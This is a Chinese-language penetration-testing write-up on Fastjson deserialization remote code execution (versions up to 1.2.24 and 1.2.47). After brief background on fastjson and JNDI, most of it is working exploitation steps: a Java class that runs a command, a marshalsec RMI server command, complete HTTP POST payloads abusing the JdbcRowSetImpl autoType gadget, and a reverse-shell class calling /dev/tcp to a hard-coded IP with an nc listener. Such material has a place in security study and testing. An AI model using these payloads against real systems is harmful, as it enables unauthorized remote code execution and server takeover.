fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。
JNDI
JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞分析
利用过程
1、确定目标站点使用fastjson版本<=1.2.24
2、创建TouchFile.java文件,内容如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。在文件目录下,通过python3 -m http.server port命令开设服务器。(通过浏览器访问,进行验证)
4、借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
5、在漏洞页面bp抓包后post提交数据,替换如下payload:
POST / HTTP/1.1
Host: 靶机ip:端口
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:9999/TouchFile",
"autoCommit":true
}
}
利用完成
Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)
漏洞原理
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
漏洞分析
利用过程
1、确定目标站点使用fastjson版本<=1.2.47
2、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/98.126.219.155/58274 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
3、4同Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
5、开启nc监听端口4444:nc -lvvp 4444(反弹shell)
6、在漏洞页面bp抓包后post提交数据,替换如下payload:
POST / HTTP/1.1
Host: xx.xx.xx.xx:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:9999/Exploit",
"autoCommit":true
}
}
Fstjson < 1.2.60 远程拒绝服务漏洞
FastJson渗透总结
1、反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。
2、RMI是一种行为,指的是Java远程方法调用。
3、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。
4、ldap指轻量级目录服务协议。